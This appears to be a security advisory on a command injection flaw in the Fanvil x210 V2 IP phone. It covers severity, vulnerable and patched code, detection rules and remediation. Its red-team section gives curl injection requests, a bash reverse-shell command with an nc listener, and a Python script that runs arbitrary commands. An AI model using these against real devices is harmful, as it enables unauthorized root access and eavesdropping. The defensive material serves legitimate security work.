CVE-2025-64052

Executive Summary

CVE-2025-64052 is a critical unauthenticated command injection vulnerability discovered in the Fanvil x210 V2 IP phone running firmware version 2.12.20. An attacker on the same local network can exploit this flaw to execute arbitrary system commands on the device without any authentication. The vulnerability resides in the device's web management interface, which fails to properly sanitize user-supplied input before passing it to a system shell. Successful exploitation allows a threat actor to gain full remote code execution (RCE) as root, leading to complete compromise of the device, including eavesdropping on calls, exfiltration of credentials, and pivoting into the internal network. No public proof-of-concept (PoC) or exploit code has been released at this time, and no official patch is available from Fanvil.

CVSS Breakdown & Threat Level

• CVSS Score: 9.0 (Critical)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Adjacent Network – The attacker must be on the same local network as the vulnerable device.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attack does not require any user action.
• Scope (S): Unchanged – The exploit does not affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full access to device data, including call logs and credentials.
• Integrity (I): High – The attacker can modify device configuration and firmware.
• Availability (A): High – The attacker can disrupt or disable the device.

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete control over the device. Given the widespread deployment of Fanvil IP phones in enterprise environments, the potential for lateral movement and data exfiltration is significant.

Deep Dive & Mechanics

The Fanvil x210 V2 IP phone runs a custom Linux-based firmware. The web management interface, typically accessible on TCP port 80 or 443, provides administrative functions such as network configuration, firmware updates, and user management. The vulnerability exists in a CGI script or endpoint that accepts user input (e.g., a parameter in an HTTP POST request) and passes it directly to a system command via functions like popen() or system() without proper sanitization.

For example, a request to /cgi-bin/ConfigMananger with a parameter like action=ping&ip=127.0.0.1;id would cause the device to execute ping 127.0.0.1;id, resulting in the output of the id command being returned to the attacker. The lack of input validation allows an attacker to inject arbitrary shell metacharacters (;, |, &, $(), backticks) to chain additional commands.

The attack is performed over HTTP/HTTPS, and since the web interface is often exposed on the local network, any unauthenticated user on the same subnet can exploit it. The device runs with root privileges, so the injected commands execute with full system access.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the web server's CGI handler. A typical vulnerable pattern in C or C++ would be:

// Vulnerable code
void handle_ping_request(char *ip) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ip);
    system(cmd);
}

A patched version would sanitize the input by validating that the IP address contains only digits and dots, and by using a safer execution method:

// Patched code
void handle_ping_request(char *ip) {
    // Validate IP address format
    if (!is_valid_ip(ip)) {
        return_error("Invalid IP address");
        return;
    }
    // Use execve to avoid shell injection
    char *args[] = {"/bin/ping", "-c", "4", ip, NULL};
    execve("/bin/ping", args, NULL);
}

The key difference is the removal of the shell interpreter (system()) and the addition of input validation.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Fanvil x210 V2 device or use a virtualized instance with firmware 2.12.20.
2. Connect the device to a local network (e.g., 192.168.1.0/24).
3. Identify the device's IP address via DHCP or ARP scanning.

Exploitation Steps:

1. Send a crafted HTTP request to the vulnerable endpoint. For example, using curl:

   curl -X POST "http://192.168.1.100/cgi-bin/ConfigMananger" \
        -d "action=ping&ip=127.0.0.1;id"
   

2. The response will contain the output of the id command, confirming RCE.
3. To establish a reverse shell, use a command like:

   curl -X POST "http://192.168.1.100/cgi-bin/ConfigMananger" \
        -d "action=ping&ip=127.0.0.1;bash -i >& /dev/tcp/192.168.1.200/4444 0>&1"
   

4. On the attacker machine, listen with nc -lvnp 4444.

Automation Script (Python):

import requests
import sys

target = sys.argv[1]
cmd = sys.argv[2]
url = f"http://{target}/cgi-bin/ConfigMananger"
data = {"action": "ping", "ip": f"127.0.0.1;{cmd}"}
r = requests.post(url, data=data)
print(r.text)

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/ConfigMananger with suspicious parameters.
2. Look for shell metacharacters (;, |, &, $, backticks) in the ip parameter.
3. Alert on outbound connections from the IP phone to unusual IPs/ports (e.g., reverse shell).
4. Check for unexpected processes running on the device (e.g., bash, nc, python).

Honeypot Setup:

• Deploy a low-interaction honeypot mimicking the Fanvil web interface to capture exploit attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/ConfigMananger with ip parameter containing shell metacharacters.
  • Outbound connections from the device to external IPs on high ports (e.g., 4444, 1337).
  • Unusual DNS queries or data exfiltration patterns.

• Host IOCs:

  • Presence of unexpected files in /tmp or /var/run (e.g., reverse shell scripts).
  • Running processes like bash, nc, python, or perl that were not started by the system.
  • Modified system binaries or configuration files.

• Log IOCs:

  • Web server logs showing POST /cgi-bin/ConfigMananger with 200 OK and large response bodies.
  • System logs showing execution of commands like id, whoami, uname -a.

Detection Engineering

YARA Rule

rule CVE_2025_64052_Fanvil_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2025-64052 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64052"
    strings:
        $s1 = "/cgi-bin/ConfigMananger" ascii wide nocase
        $s2 = "action=ping" ascii wide nocase
        $s3 = "ip=" ascii wide nocase
        $re1 = /[;&|`$()]/
    condition:
        all of ($s*) and #re1 > 0
}

Sigma Rule

title: CVE-2025-64052 Fanvil Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Fanvil x210 V2 web interface with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/ConfigMananger'
        cs-uri-query|contains: 'ip='
    keywords:
        - ';'
        - '|'
        - '&'
        - '$('
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate network diagnostic tools using ping with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64052 Fanvil Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/ConfigMananger"; http_uri;
    content:"ip="; http_client_body;
    pcre:"/[;&|`$()]/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-64052;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Fanvil x210 V2 phones on a separate VLAN with strict firewall rules limiting inbound/outbound traffic.
2. Disable web interface: If not required, disable the web management interface via the device's local menu or by blocking ports 80/443 at the network level.
3. Monitor for exploitation: Deploy the provided detection rules to identify and alert on exploit attempts.

Long-term Fixes:

• Vendor patch: Await an official firmware update from Fanvil. Contact Fanvil support to request a timeline.
• Network segmentation: Implement strict network segmentation for all IoT/VoIP devices to limit blast radius.
• Input validation: If source code is available, apply input sanitization and use safe system call wrappers.

Workaround:

• Use a reverse proxy or WAF (e.g., ModSecurity) to filter malicious requests before they reach the device. Example ModSecurity rule:

  SecRule REQUEST_URI "/cgi-bin/ConfigMananger" "chain,id:1001,deny,status:403,msg:'CVE-2025-64052 Exploit Attempt'"
  SecRule REQUEST_BODY "ip=.*[;&|`$()].*" "t:urlDecodeUni"
  

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